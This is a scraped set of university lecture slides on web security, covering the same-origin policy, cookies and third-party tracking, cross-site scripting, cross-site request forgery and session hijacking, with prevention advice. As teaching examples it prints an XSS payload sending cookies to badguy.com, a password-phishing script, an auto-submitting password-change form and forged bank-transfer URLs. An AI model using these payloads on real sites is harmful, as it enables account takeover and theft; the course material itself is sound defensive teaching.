50
Web Security Gang Wang Fall 2016

Web Security - people.cs.vt.edupeople.cs.vt.edu/~gangwang/class/cs4264/week10-web.pdf · HTML page is structured data; ... ActiveX • Control toolset with which servers can run and

  • Upload
    vuphuc

  • View
    214

  • Download
    0

Embed Size (px)

Citation preview

Web Security

Gang Wang Fall 2016

Outline

•  Brower and Same-origin policy (SOP)

•  Web Code, cookies

•  Cross-site Scripting (XSS)

•  Cross-site Request Forgery (XSRF)

•  HTTP Hijacking

2

WEB AND BROWSER

3

4

Document Object Model (DOM)

HTML page is structured data; DOM provides representation of this hierarchy

DOM is browser’s view of an HTML page as an object hierarchy

JavaScript is used to change DOM e.g., change colors on user events

Tim Berners-Lee (HTML/WWW inventor) US NAS member

Who invented Mosaic (Netscape) browser in 93? Marc Andressen and others (UIUC/NCSA)

5

Same-origin policy (SOP) – isolation, isolation, and isolation

•  SOP is a sandbox model –  Only the site that stores some

information in the browser may read or modify that information

•  An untrusted page cannot corrupt the

user’s actions at other sites, nor can it issue transactions on behalf of the user.

•  Applies to cookies, JavaScript access to DOMs, and plugins –  Cookies: cookie from origin A not

visible to origin B

–  DOM: script from origin A cannot read or set properties for origin B

The origin is defined as the protocol, port, and host from which the content originated

Content included onto a page inherits the origin of that page

6

7

h"p://www.ny*mes.com/

Same-Origin Examples

•  Origin: protocol, hostname, port, but not path

•  Same Origin –  http://www.example.org/here –  http://www.example.org/there –  same protocol: http, host: example, default port 80

•  How about these? –  http://www.example.org/here –  https://www.example.org/there –  http://www.example.org:8080/hello –  http://www.hacker.org/you

Not SO

8

More on same origin policy

URL Outcome Reason

http://store.company.com/dir2/other.html Success  

http://store.company.com/dir/inner/another.html Success  

https://store.company.com/secure.html Failure Different protocol

http://store.company.com:81/dir/etc.html Failure Different port

http://news.company.com/dir/other.html Failure Different host

https://developer.mozilla.org/En/Same_origin_policy_for_JavaScript

Origin comparisons to the URL http://store.company.com/dir/page.html

9

An exception to SOP regarding subdomain

Javascript code can set the value of document.domain to a suffix of the current domain.

E.g., assume a script in the document at http://store.company.com/dir/other.html executes the

following statement:

Document.domain = "company.com";

company.com is then used for subsequent origin checks.

https://developer.mozilla.org/En/Same_origin_policy_for_JavaScript

could not set document.domain to othercompany.com

10

Cross domain request

•  Same-origin policy prevents JavaScript on hacker.org direct access to other sites’ DOM

•  What if example.org (accidentally) loads JavaScript code from hacker.org?

•  Cross domain JavaScript request disallowed •  Browser disallows JavaScript in the containing page to

manipulate document inside a frame of a different domain •  XMLHttpRequest cannot be used to download files that are not from

the same domain as the page making the request.

slide 11 11

XMLHttpRequest is one way of realizing AJAX

XMLHttpRequest: an interface for scripts to submit form data or loading data from a server (without reloading the page) Support asynchronous HTTP requests from JavaScript

•  AJAX (Asynchronous JavaScript and XML) –  Client-side technology –  To retrieve data from server in the background without interfering

display or user interaction –  creating better, faster, and more interactive web app

Not allowed

e.g., filling out forms without clicking “submit” button to transmit the form

h"ps://www.cnet.com/news/a"-*me-warner-acquisi*on-confusion-cable-hbo-game-of-thrones/

Cross-domain request – 4 of your Facebook friends like this WashingtonPost article

•  You log in your facebook account in one browser window

•  In another window visit washingpost.com •  WashingtonPost page says "4 of your facebook friends like this article"

•  Mashup application

1.  user visits facebook, stores session id as cookies

2.  Washingtonpost’s page loads JavaScript from Facebook 1.  Every company wants to do business w/facebook because of its 1 Billion users

3.  user visits washingtonpost, facebook script in washingtonpost page can access user's facebook cookies 1.  Without violating SOP; facebook script obtains user info from facebook server

4.  the fetched information (from facebook server) is mashed up with washingtonpost content and displayed

13

Malware distribution

•  Via vulnerable web servers: <!-- Copyright Information -->

<div align=‘center’ class=‘copyright’>Powered by … </div>

<iframe src=’http://wsfgfdgrtyhgfd.net/adv/193/new.php’></iframe>

•  Via ad networks: –  User visits a reputable web site containing banner ad

o  Banner ad hosted in iframe from 3rd party site

o  3rd party serves ad exploiting browser bug

o  often involves 4th and 5th parties

Or, e.g., malicious visitor counters (a type of trojan)

14

WEB CODE

15

HTML

•  Alone, HTML is harmless –  Does not have direct access to

the user’s computer

–  Only in conjunction with other code can it exploit another computer.

–  Not entirely true…

Phishing website

16

Anti-Phishing?

17

Bank of America’s anti-phishing solution -- Site key

•  A unique image you choose (when you create your online account)

•  image title - the unique phrase you create for your SiteKey image •  3 challenge questions only you know the answers to – BOA will ask them if

you don't sign in from the computer you told BOA to recognize

Defeats naïve phishers; But suffers from man-in-the-middle attack L

18

HTML Image Crash

•  Browser bugs can lead to problems with HTML –  Famous “image crash” in Internet Explorer is a perfect example –  By creating a simple image of extremely large proportions, one

can crash Internet Explorer and freeze a Windows machine so that it must be rebooted: <HTML> <BODY> <IMG SRC="./image.jpg" width="9999999" height="9999999“> </BODY> </HTML>

–  Note: this does not work with Mozilla Firefox.

19

Mobile Code

•  What is “Mobile Code”? –  Mobile Code is an executable program

–  Sent via a computer network

–  Executed at the destination: o  JavaScript

o  ActiveX control

o  Java applet

20

ActiveX •  Control toolset with which servers can run and execute code

on your Windows machine –  Not a programming language

–  Set of tools a programming language can use to recreate standard Windows functionality

–  Traditionally used to improve functionality on a client’s computer

•  ActiveX is meant to extend applications across computers –  Allows more control of objects across networks

o  Includes file systems, data, and the operating system

–  Allows full programs within a web browser

•  ActiveX vs. Java Applet –  Portability in Java

–  ActiveX is Microsoft’s product

–  Java Applet requires Java installation on the client side

e.g., for animation, viewing files

21

Authenticode in ActiveX

•  If accepted, the control will run with full privileged access to the client’s computer and install itself in the registry

•  If “Always trust content…” checkbox is selected, the publisher of this control will always be accepted on the client’s computer

Malicious Mobile Code, by R. Grimes, O’Reilly Books

22

Cookies

•  Cookies are a small bit of information stored on a computer associated with a specific server –  When you access a specific website, it stores information as a cookie –  Every time you revisit that server, the cookie is re-sent to the server –  Effectively used to hold state information over sessions

•  Cookies can hold any type of information -  Passwords, credit card information, social security number, etc. -  Session cookies, persistent cookies -  Almost every large website uses cookies

Setting a cookie in Javascript: document.cookie = “name=value; expires=…; ”

23

More on Cookies •  Cookies are stored on your computer and can be controlled

–  Many sites require that you enable cookies in order to use the site –  Their storage on your computer naturally lends itself to exploits –  You can clear your cookies on a regular basis –  Most browsers have ways to turn off cookies, exclude certain sites from

adding cookies, and accept only certain sites' cookies

•  Cookies expire –  The expiration is set by the sites, chosen by the server –  This means that cookies will probably stick around for a while

24

Mid-term Questions The Diffie-Hellman Key Exchange Protocol between Alice and Bob. •  The public parameters are a prime number p and a generator g != 0,

1, p − 1. The public parameters are known to all participants. •  Alice chooses private key sA. She computes her public key KA = gsA

mod p. Similarly, Bob with private key sB computes his public key KB = gsB mod p.

•  To communicate with Bob, Alice computes Kshared = (KB)sA mod p. To communicate with Alice, Bob computes Kshared = (KA)sB mod p. –  (It can be shown these shared keys are equal.)

•  Alice and Bob then use the shared key to communicate with symmetric-key encryption (e.g., AES).

•  However, the above protocol is vulnerable to a man-in-the-middle attack. An attacker can compromise the confidentiality, integrity, and authenticity of the communication between Alice and Bob. Show step-by- step the man-in-the-middle attack against the above protocol.

25

Diffie-Hellman key exchange Algorithm

•  Constants: prime p, integer g ≠ 0, 1, p–1 –  Known to all participants

•  Goal: Alice and Bob agree on a shared key Kshared w/o attacker knowing

•  Alice chooses private key sAlice, computes her public key KAlice = gsAlice mod p

•  Bob chooses private key sBob, computes his public key KBob = gsBob mod p

•  To communicate with Bob, Alice computes Kshared = KBobsAlice mod p

•  To communicate with Alice, Bob computes Kshared = KAlicesBob mod p

–  It can be shown these keys are equal

•  Use shared key to communicate with symmetric-key encryption (e.g., AES)

NowwecanexchangepublickeysKAliceandKBob

26

Secure Your Cookies

•  Cookies are for keeping the state info in browser –  HTTP is a stateless protocol –  Cookies may contain session IDs

•  Security goals: –  Confidentiality (secrecy of cookies)

–  To prevent unauthorized use of cookies

•  SOP prevents some unauthorized cookie access

•  Attacks: –  Third-party tracking with cookies à privacy leakage

–  Cross-domain attacks (XSS, XSRF)

o  Attacker’s code (from domain A) steals a user’s cookies for a domain (domain B)

–  Eavesdropping of communications (HTTP hijacking)

27

3RD PARTY COOKIE TRACKING

28

Tracking: 3rd-party Cookies

29

Web Tracking

30

User Tracking by Third-Parities •  Example of tracking

–  User visits website A.com, where B.com is a third-party tracker

–  Later, user visits C.com, where B.com is also a tracker à user got re-identified

31

A.com

B.com(tracker)

C.com

E.com(tracker)

D.com

Cookie=123

Cookie=xyz

Persistent User Tracking •  Persistent user tracking

–  Tracking users over time, even after users clean cookies

–  Tracking (sharing) users across trackers

–  Tracking users over time o  Canvas fingerprinting

o  Ever cookie (flash cookies)

–  Cookie syncing: different trackers share user identifiers

32

1. Canvas Fingerprinting •  Tracker seeks to uniquely identify a user/browser

–  Let the browser render some text (can be invisible to users)

–  Generate browser signatures based text rendering

33

Verysubtledifferencesfordifferentbrowsers•  Opera*ngsystem•  Fontlibrary•  Graphicscard•  Graphicsdriver•  Browserimplementa*on•  …

Quickresult:5542domainsoutoftopAlexa100,000haveimplementedcanvasfingerprin*ng

•  Trackers: recover the full browsing history of a user

–  Each tracker only has partial knowledge about a user –  To sync data, different trackers need to link the same user

•  Cookie syncing: exchange userIDs

2. Cookie Syncing

34

User’sBrowser

B.com

Redirect:B.com?from=A&userid=1234

Cookie:{userID=xyz}

GET:B.com?from=A.com&userid=1234

A.com

GET:A.com

Cookie:{userID=1234}

Datasyncinginthebackendisdifficulttomeasure

Userxyzisknownas1234toA.com

Quick Tests •  Alexa Top 3000 sites, log browser traffic, check cookie syncing

•  Allowing all cookies à 407 first-party + 730 third-party domains involve in cookie syncing (about 600 userIDs)

•  Enabling Do Not Track à reduced by 2.9%

•  Blocking 3rd-party cookies à reduced by 20%

35

Ifconsideringback-endsyncing:asmallsetoftrackerstorecoverasignificant%ofuserbrowsinghistory

XSS Cross-site scripting

36

XSS (Cross Site Scripting)

37

Suppose www.victim.com runs a guestbook application that takes comments from visitors and displays them

•  Input is not sanitized

•  An attacker injects script that will be executed by other users

•  E.g., instead of entering name, attacker enters

<script language=“Javascript">var password=prompt

(‘Your session has expired. Please enter your password to continue.`,``); Location.href=“https://10.1.1.1/pass.cgi?passwd=“+password;</script>

XSSallowsa"ackerstoinjectmaliciousJavaScriptcodeintoawebpage

38

Another XSS example

Imagine a vulnerable search website. Consider this link:

http://victim.com/search.php ? term =

<script> window.open(

“http://badguy.com?cookie = ” + document.cookie ) </script>

What if user clicks on this link (in a phishing email)?

1.  Browser goes to victim.com/search.php

2.  Victim.com returns <HTML> Results for <script> … </script>

3.  Browser executes script: o  Sends badguy.com the user’s cookie associated with victim.com

[From Dan Boneh Stanford]

In XSS, why same origin policy cannot prevent attacker’s script from accessing legitimate domains’ cookies?

39

XSS preventions Sanitize inputs to not allow scripts – IMPORTANT!

HTTP only cookies

–  Cookies that can only be used in HTTP/HTTPS requests

–  Not accessible by JavaScript via document.cookie

40

XSRF Cross-site request forgery

41

From C. Jackson

A XSRF example

1. Victim has a valid session with bank.com

2. Attacker’s malicious form 3. User is tricked into submitting the form

5. Money is transferred to attacker

4. Browser automatically attachs session-id

42

Cross-site request forgery (XSRF)

Consider the following common scenario:

1.  Alice visits a bank.com, authentication credentials stored

2.  30 minutes later, she accidentally visits a hacker’s site

Symptom: malicious site can initiate HTTP requests to the bank on Alice’s behalf, without her knowledge

•  e.g., attacker may transfer money from from Alice’s bank account

Cause: cached credentials is used regardless of who made the request

•  XSRF aka Confused deputy problem

Malicioussitecannotreadinfo(duetoSOP),butcanmakewriterequeststoanotherapplica*on

43

A XSRF Example on reset passwd

1. Alice has a valid session with www.mywwwservice.com

Alice’s browser loads page from hackerhome.org

2. Evil Script runs causing evilform to be submitted with a password-change request to www.mywwwservice.com!!!

3. Browser automatically sends authentication cookies (e.g., session-id, secret keys) along with the request. Alice’s password is changed to evilhax0r!

<form method="POST" name="evilform" target="hiddenframe" action="https://www.mywwwservice.com/update_profile">

<input type="hidden" id="password" value="evilhax0r"> </form>

<iframe name="hiddenframe" style="display: none"> </

iframe> <script>document.evilform.submit();</script>

evilform

Source: Foundations of Security: What Every Programmer Needs To Know 44

XSRF (some more examples)

•  Eve (attacker) first constructs an attack URL, e.g.,

–  http://bank.com/transfer.do?acct=EVE&amount=100000

•  Then, to have Alice (victim) send the request, Eve embeds the following into a

page that Alice visits (through phishing or social engineering)

–  <a href="http://bank.com/transfer.do?acct=EVE&amount=100000"> View my Pictures!</a>

•  Or:

–  <img src="http://bank.com/transfer.do?acct=EVE&amount=100000“

width="1" height="1" border="0">

45

XSRF Solutions:

•  Short-lived credentials

•  Delete cookies after transaction

•  Add “referer” field to HTTP requests

o  Forging referrer may defeat this detection

•  Add a unique identifier (token) to a form

o  To prevent forms being forged by attackers

o  Think step-by-step how this works!

•  Use secret cookies

•  Use secret session IDs

•  Only accept POST requests

•  Only accept GET requests

Things that do NOT work:

46

Anti-XCSF Token (a server-side XSRF prevention)

Aka. synchronization token

<formac*on="/transfer.do"method="post"><inputtype="hidden"name="CSRFToken"value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWE...wYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZ...MGYwMGEwOA==">…</form>

h"ps://www.owasp.org/index.php/

Tokengenera*onneedstobe:•  Unguessable•  Preventreplay•  Supportmul*pleforms•  Easytoverify

47

SESSION HIJACKING

48

HTTP Session hijacking

•  Cause: login (username/pwd) is sent from client to server in HTTPS, but not subsequent communication

•  Session cookie used to identify a user, and is not encrypted

How about simply encrypt the session-ID cookie?

Attacker can replay the encrypted session ID, no use either

49

Suggestions to avoid session hijacking

•  Stop using open Wi-Fi without end-to-end security •  Use TOR

•  Use a VPN Tunnel •  Use End-to-End Security (HTTPS) throughout the session

“The sites have a responsibility to protect people who rely on their services.”

50